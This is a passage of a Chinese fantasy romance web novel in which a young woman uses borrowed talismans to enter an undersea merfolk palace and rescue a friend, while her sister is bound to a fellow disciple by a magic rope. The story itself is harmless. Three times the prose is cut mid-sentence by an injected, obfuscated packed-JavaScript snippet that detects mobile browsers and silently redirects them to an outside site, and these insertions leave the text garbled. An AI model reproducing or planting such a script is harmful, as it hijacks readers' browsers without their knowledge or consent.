他显然是误会了什么,明明比她还小的样子,却一副过来人的口吻教育她。 冉云祉狠狠地瞪了他一眼,开口纠正:“他的状态很不对劲,作为朋友我关心他难道不对吗?何况,成双成对在一起的不一定是恋人,你这是恋爱脑,得治。” 说完她正欲往海边走去,江遗连忙拦住她:“这么晚了,你就这样去找他?” 好吧,他也不知道为何在听到他们不是恋人而隐隐开心。 “不然呢?”她总觉得最近常常看到他,心里烦得很,却又不能说什么,只能冷着声音。 “据我所知,你根本没有灵力吧?就这样送上门去,连怎么死的都不知道。”江遗难得正经的给她分析:“更何况你知道路怎么走吗,万一你一去不回,更何况,他根本不愿意跟你走……” 冉云祉瞅着他,片刻后拍拍他的肩膀,如梦初醒:“我还以为你只是个瞧不起人的小屁孩,还有这样冷静的一面,士别三日当刮目相看。” 她不夸还好,一夸他,他的脸色青一阵白一阵:“我可不是小孩子了,你又比我大不了多少。我可是无双盟的弟子,又不像你一根筋。” 他今年十五岁,再有一个月便十六岁了,而她不过十八岁,真不知道她为什么总把自己看成小孩子。 “我倒忘了,你既然是捉妖师,为什么刚才不出手把那鲛人捉了?” 江遗皱眉,暗忖,前几日遇见九尾狐时,你们不是不让我出手吗? “既然你这么厉害,是不是有很多法器,能不能借我一用?”她用一双期待的眼睛看向他。 他高高的扬起下巴,又恢复了昔日那拽得不可一世的模样:“小爷的东西可金贵着呢,怎么能随便借给你一个门外汉?不过你要是求我的话……” 本意是想看这丫头低头的模样,可谁想他话还没说完,冉云祉立马接道:“天下无双、仗义相助、老奸巨猾的江小公子,您大人有大量不要与小的计较,求求你赏几件法器给小的吧……” 他登时噎住,用一副震惊无比的眼神看着她:“老奸巨猾是这么用的?” 这丫头真的看不透,原以为她的骨头硬的很,不会轻易向谁低头,谁知道能屈能伸,求饶求的比谁都快。 “你不会骗我的吧?”她质疑地又接了一句。 年轻人气性很大,似乎是证明般的,他从自己的腰间解下一根金色的绳子扔到她身上:“这个借给你,到了烈海见了他,不管那小子回不回来,直接把他绑回来……咒语是……” “你们在悄悄说什么呢?” 那根金绳突然被人拿了去,戴苍将那绳子拎在手里把玩,扬眉笑道:“这绳子挺特别的,看起来是个好宝贝……” 恰在此时,咒语刚好念完,他手中的绳子突然发出金灿灿的光芒,如同一条金蛇灵活灵巧地缠上了他的手臂,他眼疾手快一把握住了冉云清的手,转瞬之间,两人的左右手便绑在了一起。 他们被这突如其来的变故整懵了。 28.鲛人(二) 天山寒蚕冰丝与深海蛟妖为材料制成的捆妖绳坚韧无比,乃捉妖师必备的捉妖法器之一,寻常刀剑难以损伤,一旦驱动咒语,便会将妖物捆得严严实实。 倘若妖怪妄想挣脱束缚,越是挣扎,捆妖绳便会越收越紧。 “江公子,烦请将这绳子解开。” 冉云清试了几次,再也不敢轻举妄动,而后她又恼又急。 在她的左手腕,闪着金光的捆妖绳与戴苍的右手紧紧缠绕在一起,在外人看来,他们如同恋人般亲昵地牵在一起。 此情此景,让她无地自容。 江遗忙念捆妖绳的口诀,心里奇怪这捆妖绳怎么会骤然失去控制捆上无辜之人。 一遍,捆妖绳没有反应。 两遍,捆妖绳纹丝未动。 “莫非是口诀不对?”戴苍无辜暼来一眼,神态里却分明没有焦急之色。 被质疑为半吊子的江遗双颊发热,不信邪地再念一遍,眼前的状况没有丝毫改变。 “奇了怪了,这咒语师父教我的并没有错啊……”他从怀里摸出师父给他的手札,大声的再念一遍,百思不得其解。 冉云祉观察了半天,眨眼笑道:“既然解不开,那就不要解了。有倒是无心插柳柳成荫,说不定这捆妖绳认为两位气场一致,天造地设,才不想离开呢!” 轻飘飘一句话,但语调里颇为暧昧,冉云清皱眉想辩解什么,对上戴苍的视线,话到嘴边又咽了下去。 明日是月圆之夜,正是去往烈海深处的时机,如今竟出了这样的岔子,这该如何是好? 希望明日有所转机才好。 她的纠结神情落在戴苍眼中,他略显为难地开口:“今夜有些难办了,要委屈师妹与我一起,希望师妹不要嫌弃……” “我姐姐的就劳烦三殿下照顾了!”冉云祉将姐姐往他身边一带,义正言辞地警告戴苍:“三殿下是正人君子,一定不会趁人之危欺负我姐姐吧?” 他在心底暗想这二小姐很是上道,面上却云淡风轻,轻咳一声:“二小姐想哪里去了?” 被遗忘在一边的江遗羞愧难当。这是他第一次使用捆妖绳,作为无双盟的弟子把自己吹得老高,却连一条小小的捆妖绳都驾驭不了,传出去岂不是会被外门弟子笑掉大牙,他面子还要不要? 本以为会换来冉云祉的质疑,甚至已做好反击的准备,可她非但没有嘲笑,反而注视着那两人越走越远,眉开眼笑地狠狠拍了他的肩膀,吓得他一个机灵。 “小子,你这事做得真漂亮!” 若不是她脸上漾开无法忽视的喜色,他以为她又在冷嘲热讽。 “你不怪我?”多好的嘲讽机会啊,这丫头转性子了? “怪你什么?你这东西比红线还管用啊!”她兴奋地打量着他:“你果真好多法宝,你还有什么好东西,借我瞧瞧。” 江遗嘴角抽搐,但为了找回自己的面子,从怀里掏出来一沓符纸。 “连我都驾驭不了的法器,你这个笨脑子更不行了。用这个,不需要什么口诀,贴上就能发挥作用。” 陈旧泛黄的纸张绘着奇怪的赤红色朱砂纹样,每一张都有些轻微的褶皱,伸手放到上面,能感到灵力微微流动。 “这么多符纸,一定花了很多功夫吧?你就这样送我了?” 他出手真大方,这一沓竟有三十几张,还是说捉妖师的符纸多到用不完? 江遗抱起肩膀,面露得意之色:“因为我强啊,这些符纸对我来说九牛一毛罢了。”他拖长着声音,显摆道:“我们无双盟不止可以绘制符纸,也可借助妖怪的妖力附着在符纸上,也能达到一样的效果。” 他状似不经意间侧了侧身,叮铃一阵清脆的声响,腰间的玲珑金球展露在她的视线中。 这是捉妖师随身携带的捉妖笼,以积累妖力的多少显露不同的颜色,由低到高依次为金色,淡金色,白色。 还有一种捉妖师剑走偏锋歪门邪道获取妖力,捉妖笼为黑色,这么多年只有一个人是那样,但他已经神魂俱灭了。 只是这些常识,外行人冉云祉并不了解。 “若是借助大妖妖力绘出的符纸,能发挥无法想象的作用。” 说到这里,他又想起那天遇到的大妖九尾,心有不甘。他初涉江湖,遇见的大妖屈指可数。更何况这个世界里,大妖与捉妖师更是势同水火,得到大妖的帮助无异于天方夜谭。 冉云祉难得听得聚情会神,沉思片刻后,她问:“如果有空白符纸的话,你现在能做符纸吗?” 他怔忪片刻,点点头。 于是他就瞧见,冉云祉从荷包里捧出两样东西,递道他面前:“我有些好奇,这些能做出什么吗?” 一片粉白虞美人花瓣,一颗百年银杏果,不是什么大妖之物。 他挑挑眉,有些好奇:“哪来的?” “这些是我的朋友们送我的信物,你看看能做出什么。” 她一介平凡女子,不是捉妖师,亦不是修炼术士,不属于任何门派,身上却有万千妖怪人类妄图得到的灵泉玉……却把妖怪称之为朋友。 他认真的端详她。 和寻常女子看上去没什么两样,但除了灵泉玉没什么灵力,许多比她厉害的女子在听到无双盟的名号时都不敢这么对他说话,大多规规矩矩,拘谨得很,而她竟然这样理直气壮。 有点特别。 “可以帮你做,但礼尚往来,我要借你灵泉玉一用。”江遗把玩着那两样东西,嘴角轻轻勾起。 冉云祉一愣,赶紧捂住胸前的灵泉玉:“我会死的。” “你把我想成什么人了?”他似乎对她这副防备的姿态很是不满:“做几张符纸而已,不用取下来,我帮你这么大忙,你总要还我什么吧?” 不是人人都能让他帮忙做符纸的,更何况,他先前去泽城也是为了灵泉玉,既然她有求于自己,这个机会可不能白白错过了。 “这样啊……行,等我把烛乐找回来,就借给你。”不是取她的小命,那她就没什么可犹豫的。 聊了这么久她的心思还在烛乐身上,年轻气盛的少年冷哼一声不看她,指尖捏着几张符纸冷哼:“哼,那就说定了。” 他将信物与空白符纸放在一起,闭上眼口中念诀,昏暗的灯光下,符纸与信物散发出微弱的金色碎屑,不过一会,符纸上慢慢延伸出奇怪的纹样,似有人在上面一笔一笔绘就,但少年手里却根本没有握笔。 冉云祉兴奋的看着这神奇的一幕,连眼睛都舍不得眨一下。 片刻后,那道金光慢慢散去,他手上呈现出三张完成的符纸。 “妖力太弱,还不如我给你的有用,如果本尊或是妖丹在这里,能做出更多。”他抿了抿唇,有些不悦道,“怎么用,不用我教你吧?” 不管怎样,那也是她朋友的一点心意,她小心地将符纸收好,突然想起了什么,好奇地问道:“为什么灵泾山的弟子不用符纸?” 冉云清与戴苍都是用剑的,这一路也没见他们用符纸。 “道路不同,灵泾山崇尚武学,匡扶正义,无双盟修符,除魔卫道,本质还是维护这个世界的平衡。由此制约,人与妖才能维持这个世界相对的平衡。”他嗤笑一声,“你跟他们在一起,你不知道?” 如此说来,大妖应该也会全力保护这个世界才对,但为什么无乐会无视大妖的阻拦,成功的将这个世界毁了? 她紧紧的捏着符纸的一角,几乎要把符纸捏得变形。 他是不是也得到了某些大妖的帮助?以至于所有人都无法将其制服? 想不通的事情,她索性不再想了,眼下要紧的还是烛乐以及鲛人泪的事情。 所有事情像飓风一样纷至沓来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764247|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰的她心绪不宁。 她收回思绪,强撑着笑脸道:“小江,多谢你了。” 一听这个称呼,江遗气不打一处来,连笑都懒得伪装了:“你知不知道在外闯荡,能力大的人才是兄长,你收了我的符纸,以后要称呼我为兄长,懂不懂?!” 冉云祉正往客栈外走去,闻言止住脚步笑道:“原来你想跟我结拜啊,行啊。” 她站直了身体,以拳击掌,清脆的尾音拉长:“江兄——” 没想到她竟然不跟他抬杠,想必是急着救那个人,他似笑非笑:“既然称呼我为兄长,那就要听兄长的话,夜深了小孩子赶紧回去睡觉。” “你管我!”原来这才是他结拜的目的,她翻个白眼,转身就走。 “哼。”他扯出一个不冷不热的笑,一张定身符贴上去,“你就是死外边我都不想管,但今天,我偏要管你。” * 朝阳初升,洒下柔和的光晕。 恰逢中秋,客流量明显减少,除了他们这几个,大堂内几乎没有客人。 “阿祉,你要看到什么时候?” 冉云清一手拿着汤匙,小心地搅动热气腾腾的米粥,在氤氲的热气中将自己泛着红晕的表情收好。 冉云祉喝了一勺粥,嘴里含糊不清,却冲她暧昧一笑:“姐姐……你看三殿下一直在吃包子,都没有人喂他吃粥……好可怜哦……” 这两人的捆妖绳还没有解开,昨夜不得已同住了一间房,在这气氛正好的时候,她更要努力添一把火才是。 她不说话还好,一说话有如平地惊雷,两人脸色尴尬的装作没有听清她的话。 “江公子,还是没有办法解开吗?”冉云清低声问,声音小的几乎听不见。 江遗又试了一遍,很可惜,没办法。 见他摇头,冉云清叹息一声,思绪不由得回想起昨夜。 昨夜他们不得已回了同一间房,彼此紧挨着坐在一起相顾无言。 月色皎洁,透过窗牗映得地面如霜如雪。 离的近了,她能感受到来自身旁这个人的温度,在寂静的夜色里,两人的心跳声重重地交叠在一起。 她想不明白,分不清楚,这份心动和熟稔是来源于原主,还是来源于她自己的心。 忍不住想靠近他,像个瘾君子一般控制不住地想了解他过去的一切。但越是了解更多,越是羡慕他们在一起的过去。 他的亲昵,他的照拂,皆因为这场阴差阳错,给了她这个不知名的局外人。 他的笑容越是明艳温柔,对她来说更像被架在火上炙烤,她一边拒绝他的靠近,一边又在心底告诫自己,不能欺骗,不能接受,不能爱上他。因为,自己不是她。 “师妹,你好像不愿意跟我呆在一起?” 烛光摇曳,他的眼睛是那么亮,才让她清楚的看到他眼底的一丝浅浅的忧伤,他恣意慵懒,这样的表情不应该出现在他这样的人才对。 他突然出口,冉云清却吓了一跳,不知道怎么去回答他。 只能沉默,唯有沉默。 她寻常就不爱说话,反正她一直是这样无趣的人。 可他的世界精彩纷呈,如果不是自己突然到来,他一定会与自己心爱的小师妹一起,携手行走江湖,那是怎样一对神仙眷侣啊。 他们会在山间凉亭共赏春日第一朵的樱花,在夏日泛舟湖上,举一枚荷叶阻挡烈日的阳光,纤纤玉手拨开一汪湖水,又或者在盛大的天幕之下,亲密的依偎着看烟花徐徐绽放于夜空…… 一起看遍世间美景,细水长流。 那日海神节,戴苍在她身边许下的愿望,她听到了。 往后岁岁年年,愿陪伴在他身边的都是她。 这一切如此美好,可不该是这样,对着一个异世来客,无论怎样传达自己的心意,却始终得不到回应。 29.鲛人(三) 冉云清自以为掩饰的很好,但她的沉默,不说不辨,在戴苍眼里如同默认。 他自嘲一笑,张扬艳丽的红色外袍都显得黯淡,声音里有着说不出的凄凉。 原本以为生与死已经是世界上最遥远的距离,更悲怆的是相逢不识,过去种种,有口难言。 “师妹就这么着急解开这捆妖绳……”就这么不愿与我呆在一起,还是说,因为你想早日离开我身边? 冉云清视线无言的望向一个点。 平淡如镜般的水面,终是泛出一丝丝涟漪。 戴苍不可置否地弯了弯嘴角,又恢复成原本散漫的神色,仿佛刚才那一瞬的忧伤只是错觉。 “你和以前很不一样,不过,你在想些什么,我大概也能猜到。师妹,你想瞒着我们只身前往烈海深处,是不是?” 心思就这样被他戳穿。她微微一愣,心仿佛被揪起,却不敢看他。好像所有的一切都已被他看穿,连同自己是异世之人的身份也早已暴露。 “想法很好,但这一次,我不会让你只身涉险。”他留下一句意味不明的话,继而征求她的意见:“明天是一场恶战,我们还是提早休息吧。” 她应该将所有的事情说明白的,告诉她自己不是原身,来到这里只是为了完成任务,任务一旦结束,她也会随之离开这个世界。 “师兄,如果有一天你发现我欺骗你,你会怎么想?” 她深深地吸了一口气,紧张地说出这句话后,这才敢去看他。 心里七上八下,等待他最终的裁决。 他并不说话,低头在想些什么,半晌才对上她的视线:“如果我也告诉你,我一直在欺骗你,你会怎么想?” 原本沉重如山的心事被他如此轻飘飘的抛了回来,与她预想的根本不同。 没有问她为什么,没有问她欺骗了什么。脑海中忽而一闪而过,他满是鲜血的脸上那抹绝望的神色。 心中忽地一痛,这不是原主的记忆,可这副画面是什么? “不管我是不是骗你,你都会相信我不会害你。所以哪怕你骗我,我也不会想什么,这就足够。” 他伸手摸了摸她的头发,透过她似乎回忆起什么,又显露出一抹如浓雾般让人看不透的苦涩:“也许这就是命运吧,是我太过贪心,你这样……就很好了。” 她尽全力做的像他心中的那个她一样,可是他心里很明白,两人之间始终隔着一道若即若离的屏障,他进一步,她就退一步,他也不会主动捅破那层摇摇欲坠的屏障,不会撕下她小心翼翼掩藏起来的身份。 那样的结局,他不想再来一次,所以现在就很好了。 “我们可以只是师兄妹。” 师兄妹,这是他对于他们的关系的最终定义。 哪怕两人的手已经牢牢绑在一起,心却隔着万重山海,隔着她并不知道的宿命轮回。天机不可道破,如果引向同样的结局,他再也无法扭转一切。 一夜难眠,直到清晨才潜睡几分。 “二小姐想多了,我用左手也是可以的。” 回到现在,戴苍熟悉散漫的轻笑让冉云清稍稍回神。 他用未被束缚的左手极不熟练的拿起汤匙,艰难着舀着面前的粥。 总觉得经过昨夜那场无疾而终的谈话,他们的关系更加疏远了。 脑海中恰好划过昨夜的梦。 天边漫上大片晚霞,冉云清躲在遥远的桃花树下偷看,一身红衣的少年一字一句坚定地回应师父:“年少初遇那一瞬,自此心中便全是她。” “命运?定数?我只信我自己……这样的命,我不认,除了我们,没有人能够决定我们的命运……” 他的脸转过来,纷纷扬扬的桃花花瓣迷了眼,稚嫩的面庞幻化成美艳绝色的青年:“如果这就是最终结局,那我就做那个执笔者,改写故事的结尾。” 他的眼里漫上大片大片浓郁的哀伤,仿佛所有的苦痛都压抑不住了似的,尽数展露在她面前。 她醒过来的时候,依然觉得这场梦格外真实。 也许她看不见,师兄身上背负的沉重枷锁。 或许她应该离他近一些。 一声无奈的叹息自她口中逸出,她轻抬皓腕,主动用汤匙舀了粥递到戴苍嘴边。 “师兄还想吃些什么,我……可以代劳。” 暖洋洋的光线洒在她的身上,她维持手里汤匙的平稳,不敢正视戴苍的眼睛,更不敢去瞧阿祉与江公子。 原本漫不经心的男子面上终于露出一抹惊喜的神色,原本黑黢黢的瞳孔一寸寸亮了起来,生怕她反悔似的,张口便咬住了她递过来的汤匙。 “这些,这些,我全都要。”凤眸微微弯成一道弯弯的河,顿生波光粼粼。 * 解决了早茶,终于离开江遗的视线,冉云祉数了数手里的符纸,给自己贴上一张避水符,一头扎进了烈海之中。 湛蓝清澈的海水自她身旁缓缓流动,海水轻柔的触感包裹住全身,但由于符纸的存在,仿佛身上套了一层防水膜,全身上下没有沾到一滴水。 江遗的东西果然神奇,她惊叹道。 从未有过这样新奇的体验,她在水里犹如平地,还不忘向一旁的烈海精怪询问:“你们知道鲛人宫殿在哪里吗?” 一只拥有绸缎般彩色鱼尾的鱼形精怪像没见过似的瞪大了鱼眼,绕着她转了好几圈,嘴里一张便是一个泡泡。 “好久没有见过人类了,你怎么来到这里了?” 粉色水母悠悠开口:“鲛人性格古怪,你这样的人类女孩去到那里,简直是羊入虎口。” “对呀对呀,鲛人族规太变态了,我们都不愿意和他们打交道。” 精怪们七嘴八舌的讨论起来,言语间尽是对鲛人的唾弃不满,她越听越觉得此事不容乐观,神色也变得凝重起来。 “烦请各位帮我个忙,我有个朋友,昨日被鲛人带走了……” 尽管鱼类的眼睛看起来本就呆滞,他们的黑眼珠又瞪大了几分,一齐看过来的时候让她顿生不祥之感。 “那你的朋友……应该骨头渣都不剩了。”语气里颇为惋惜。 她一愣:“不至于吧?难道他们还吃人吗?” “不是吃人。”似乎是第一次见到人类,精怪们显得格外热情,七嘴八舌的将知道的一切都告诉她,她断断续续理清了原委。 鲛人一族有个不成文的规定,新生鲛人雌雄一体,族中长老会对其测试,挑选出最有资质的一只鲛人,让其成年时分化成雌性成为鲛人公主进而繁育族人,未被选中的鲛人只能分化成雄性,且不能诞下后代。 因此,这偌大的鲛人族类,只有一只女性鲛人,千千万万的族人皆由她一人所生,直到她死去。 冉云祉不免奇怪:“那这样说的话,鲛人的父亲是谁?” 小精怪们答的很快:“这就是我们看不下去的地方。” “他们认为人类男子的体魄高于自身,每到公主合适的时机,便走出烈海寻找心仪的人类男子,用歌声诱惑,一夜风流结合之后抛弃人类男子回到烈海独自繁育后代。如果遇到一两个喜欢的,便带回来圈禁着,直到把那男子榨干最后一丝价值。” “至于那些没有生育权利的男性鲛人,也会以同样的方法寻找人类女孩,带回来像宠物一般养着。” 冉云祉愕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777540|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,她想不通这万千世界还有这样的不忍直视的族规,无关情爱,只是为了生育后代或是欲望绑架人类,这跟拐卖人口有什么区别? 那夜看到的女鲛人想必就是鲛人公主了,烛乐异常的反应总归有了解释,既是如此,他如今的处境更是危险。 她眉头越拧越紧,心中焦急:“不管怎样,我还是要去,我必须救他出来。” 在他们的指引下,冉云祉终于见到了鲛人族群的大殿。 她的眼前是四支巨大的水晶琉璃柱,向上延伸向一眼看不到头的海面,四周墙壁向上围,密不透风,经海水的拂动反射着晶莹剔透的波光,整个宫殿犹如一个巨大的水晶宫,无异于奢华的海底囚笼。 就这么站在这里,隐隐约约能听到从大殿里传来的靡靡之音。 想到自己悉心照料舍不得让他受一点委屈的干干净净少年郎,此时可能正被那鲛人强迫着违背本意,肆意羞辱,她便忍不住气血翻涌。 若真到了无可挽回的境地,当他清醒的时候,该是怎样的悔恨? “姑娘,你真的要去?”精怪们好心地劝着,“这里是龙潭虎穴,进来这里的人类,没有一个出来的。” 她再度看了一眼这水晶宫,如琉璃般清透,背后却是这样肮脏不堪。 “既然没有,那我就做这第一人。”她将牙咬的咯咯响,眸中跳动着连这厚重的海水都无法熄灭的火焰,“管他是龙潭虎穴还是什么深渊地狱,我今天闯定了!” * 今夜月圆之夜,是烈海呈现血色之时。 戴苍一向喜爱干净,衣服每日是必须要换的,被捆妖绳束缚后,行动颇为不便,无奈只能继续穿着他那身红袍。 侧目看向冉云清,她正仔仔细细地整理着包裹,从包裹里突然飘落了几张黄纸。 她捡起来奇怪道:“哪里来的符纸?” 原本在一旁百无聊赖盯着窗外出神的江遗心里猛地一跳,怔怔地看着戴苍将符纸接过来:“我本来也想向江公子借一些,没想到江公子做好事不留名偷偷送给了我们,这符纸对我们很有用,多谢。” 说完,他单手行了个礼,一旁的冉云清配合他的动作也跟着他行礼:“江公子真是侠义心肠。” 江遗没说话,眉头却紧紧皱起。 那丫头果真还是独身一人前去了,只是眼前的他们手里那些符纸数量,她留给自己多少? 这根本是不拿自己的命当回事。 “少爷,少爷,我刚刚在你桌子上看到了这个!”小杨慌慌张张的跑进来,将手里的东西递给他。 包成一团的月饼,还有一封写给他的信。 “对不起啦江兄,烈海之行太过危险,姐姐从来不说。” “我实在担心,思来想去,塞了姐姐几张符纸,至于烛乐,我一个人可以的,不要把我的事告诉她,她会担心我。” “中秋节到了,请你吃月饼当作封口费,不要生气,回来我再向你请罪,还有答应你的事,你想做几张符纸都可以。” 信的末尾,还被她画上了一个跪地求饶可怜兮兮的小人。 他定定的看着这封书信,几乎要把它瞧出一个洞来。 小杨在一旁看着自家少爷许久,实在忍不住才小声问:“少爷,你笑什么?” 好久没见少爷这样笑了,很诡异的诶。 “你的话好多。”江遗再度看了那封信一遍,折好收进了荷包里。 心里说不清楚是什么感觉,不是生气,是一种淡淡的愉悦,觉得她很傻,嘴角却止不住上扬。 嗯,作为兄长,那他就勉为其难帮一下她牵挂的人好了。 举手之劳而已。 30.鲛人(四) 冉云祉一路上畅行无阻,越是接近宫殿深处,四周的装饰更显奢侈,目光所及之处,珊瑚海藻连接成串,珍珠贝壳镶嵌其中。 她随手捞了一把,根据色泽来判断,这些珍珠皆是上等品,一眼就价值不菲。 鲛人泣珠本是浪漫的传说,如今她听了鲛人们恶劣行径,再瞧珍珠只觉得它们都沾上了肮脏的血。 她随手一扬,将它们散落在泥沙之中,抬头见鲛人长老摇曳着鱼尾,长长的鱼尾在其身后摆动,若是被他发现,她毫不怀疑会被这条尾巴甩飞。 她能神不知鬼不觉地进来这里,靠的是隐身符的能力,这符纸作用时间有限,她必须符纸失效前找到烛乐带他离开,被发现的话,后果不堪设想。 长老打开一扇房门,月光制成的鲛纱随风而动,他在门口站定,这才问道:“与那男子……事情可成了?” 深海之中不见阳光,夜明珠照亮了内间景象,散发出让人迷醉的柔和光芒。 屋内影影绰绰,勾勒出正中央水晶圆桌前端正坐着的人影,白衣胜雪的模样比这一屋子流光溢彩的珠宝还要夺目。 他的头发并未束起,慵懒地垂在肩头,有几缕微微翘起,他却并未梳理。身上衣衫微乱,在他对面,鲛人公主端着碗,正诱哄着他喝下里面的汤水。 “我出手,自然是办成了。”她半靠在桌前,慢条斯理地从鲛绡衣袖里伸出一截白皙的藕臂,手指轻轻地挑起一旁的手帕,随意擦拭面前人的嘴角。 她这一动,原本单薄的衣料自她肩头稍稍滑下,如海藻般的头发微微弹跳了一下,分外妖娆。 而少年就任由她随意摆弄,始终没什么反应。 衣香鬓影,香肩半露,这副场景,傻子都知道他们发生了什么。 冉云祉瞧着这一幕,竭力忍住上前扇他们一巴掌的冲动。 她养的那么好的一颗小白菜,生怕一用力就把他弄疼了弄哭了,如今却被这群没心的东西糟蹋了! 她昨天的态度就应该强硬一点,如今木已成舟,说什么都晚了。 长老见他喝了碗里的汤,神色稍稍和缓:“你能想通了最好……别忘了,你身上肩负的是一整个鲛人族的未来,情情爱爱,根本不适合你。” 鲛人公主柔声笑着,随意地将头发别到脑后:“长老,你非要在我的小情人面前说这些吗?” 纤长鱼尾在身侧不耐地甩来甩去,尾巴上的鳞片随着殿内珠光折射出让人眩晕迷离的色彩。 她声音娇媚,让人神魂颠倒:“我当然想通了,一只千年老狐狸,怎么比得上这些男子年轻有力。何况,我已经按照你说的做了,你还有什么不放心的呢?” 而段坐在一旁的烛乐,像根本没有听到他们在说什么一样,自始至终低着头不发一言。 “你能这样想最好。”长老似乎认同了她的话,再度暼了屋内的男子一眼,“今日烈海变动,你随我来一下。” 鲛人公主伸手想在烛乐脸上摸一下,却在半空收了手,凑近他的耳边如同恋人般亲昵地轻语:“你在这里待一会,我马上回来。” 她站起身,摇曳着鱼尾离开了房间,也不担心里面的人会逃走,并没有将房门上锁。 冉云祉不知是什么心情才走到烛乐面前,无言地看着他。 他像个傀儡般失神地坐在那里,浓密的睫毛在他原本明亮的眼里投下一圈阴影,看上去神志全无。 她随手拽了个东西在他面前晃了晃,光影随着她摆动的动作在他黝黑的瞳孔里闪了闪,可他还是没反应。 完了,这是真的被控制神智,被人吃干抹净了。 如果他得知自己身上发生的一切,该是怎样痛苦绝望。 越想越难受,她垂下视线,神情懊恼:“你说我现在该怎么办,你会跟我走吗?” “唉,我该怎么把你喊醒呢……” 她又盯着桌上的汤碗,想起刚刚他被那鲛人投喂,却根本没有反抗,自言自语:“有那么好吃吗?都不懂拒绝的……” 她的手刚刚碰到碗的边缘,手腕就被人准确无误地捉住了。 “别碰那些东西。”一道低沉熟悉的声音在她耳边响起。 她似乎有些不可置信,抬头对上烛乐清亮澄澈的眸子,再也无法动作了。 “怎么?她能喂你我不能?”她的声音里带了一丝自己都没有察觉的愠怒。 “你不知道这是什么吗?”烛乐澄亮的眸子望向她,颇有些无辜的意味:“阿祉,你要是喝了,你就会像所有被捉来这里的人一样,再也走不出这里了。” 她触电般的收回手,低头看了眼自己的身体,还是透明的,隐身符的作用还没过,他是怎么看到自己的? 但这不是重点,她突然惊醒过来,反手捉住他的手腕:“你醒着啊?” 他没有回答,只是含笑看着她,眼底灵动的神采依旧不减。 “既然醒着,那我们回家吧。”她松了一口气,向他伸出一只手。 他定定地望着她的眼睛,迟疑地问:“你不问我什么吗?” “有什么回去再说。”她看着他这一身凌乱的衣物和头发,移开视线,“虽然你可能接受不了发生的一切,但这里绝对不能留下来。” 先回去,账要一点一点算,等着忙完了再狠狠把这群鲛人教训一顿给烛乐出气,她是这么想的。 然而烛乐却是失笑,低头将衣服上的褶皱一寸寸抚平,似乎是向她解释:“她求我和她演场戏,装出被她迷惑的样子,骗过鲛人长老。” “你常常教导我能帮则帮,所以我答应了她。昨日没来得及你解释,是因为那些鲛人在远处盯着,不能露馅。放心,我们什么都没发生。” 当然,他才不会那么好心,他同意来烈海只是因为想交换鲛人泪的地点而已。 他的解释滴水不漏,面上一副什么事都没有的样子,冉云祉从他脸上瞧不出一丝破绽。 “帮忙哪有把自己搭进去的,万一他们对你起了歹心怎么办?你知不知道……”她顿住不说了,实在是那些鲛人的恶劣行径难以启齿。 他走到她面前来,低头凝视着她的脸,目中闪过一丝笑意:“你不是一直把自己置身在这样的险境,知道这里危险,却还是来救我。” 他脸上的笑容温柔纯善,如同沐浴在四月的春风里温暖和煦,可他的心底却很冷。 所有的计划天衣无缝,知道了通往鲛人泪的正确道路后,理应甩手就走,抢在那对师兄妹前面拿到鲛人泪,事情本该是这样的,不会有差错。冉云祉靠近不了烈海,她不可能过来找他。 唯一没想到的是那个无双盟弟子竟然会送她符纸,她也由此不怕死活的来到这里。他自然知道隐身符,婴灵妖丹在他身上,他当然能看到隐身下的她。 在看到冉云祉出现的那一刻,所有的计划都被她打乱了。 他计算好了一切,只有她是不可掌控的变数。 心里烦躁的不行,但那不爽里更多的是一些自己理不清的复杂情绪。 有一丝隐隐的期待,或许他心里也曾预料过她会来,很欣赏她这种不知死活的天真和无畏。 “我不能让你一个人孤孤单单被吞噬掉。”她认认真真地看向他,“婴灵说过你被抛弃过,那时候我就告诉过自己,无论发生什么,我都不会抛弃你。姐姐,三殿下,你和我,四个人,缺一不可。” 像被什么巨物击中一般,海底虚幻的歌声和她的声音交缠在一起,他立在原地缓不过来,好半晌才回神嗤笑。 多么天真荒唐的想法啊,就是因为这样的想法才会被人骗。 可偏偏就是她这样无足轻重的一句话,每次都能在他心底掀起一阵不小的海啸。 从一旁的架子上拿回云霁剑背在身上,他一直沉默,回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781842|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她还趴在那里不动,才开口催促:“我们走吧。” 不知道如何回应她,所以当作她在说废话。 “你刚刚喝了这些东西,你真的没事?”她还是有些担心。 “无碍。”那女鲛人早就偷偷换掉了,更何况这些东西对他根本没有作用。 她看上去还是有些不高兴,走到他面前左看右看,语气沮丧的很:“我还是很不开心。” 难得见她这副无精打采的模样,他疑惑地看向她。 